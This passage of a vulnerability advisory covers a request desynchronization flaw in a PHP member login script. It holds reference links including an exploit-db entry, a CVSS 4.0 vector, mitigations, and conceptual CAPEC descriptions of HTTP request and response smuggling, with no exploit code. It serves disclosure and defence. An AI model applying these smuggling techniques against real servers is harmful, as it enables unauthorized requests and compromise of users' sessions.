      "url": "https://www.exploit-db.com/exploits/51710"
    },
    {
      "type": "WEB",
      "url": "https://www.phpjabbers.com/member-login-script"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/member-login-script-client-side-request-desynchronization-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Mitigation
Implementation

Use only SSL communication.

Mitigation
Implementation

Terminate the client session after each request.

Mitigation
System Configuration

Turn all pages to non-cacheable.

CAPEC-273: HTTP Response Smuggling

An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).

See CanPrecede relationships for possible consequences.

CAPEC-33: HTTP Request Smuggling

An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).

See CanPrecede relationships for possible consequences.

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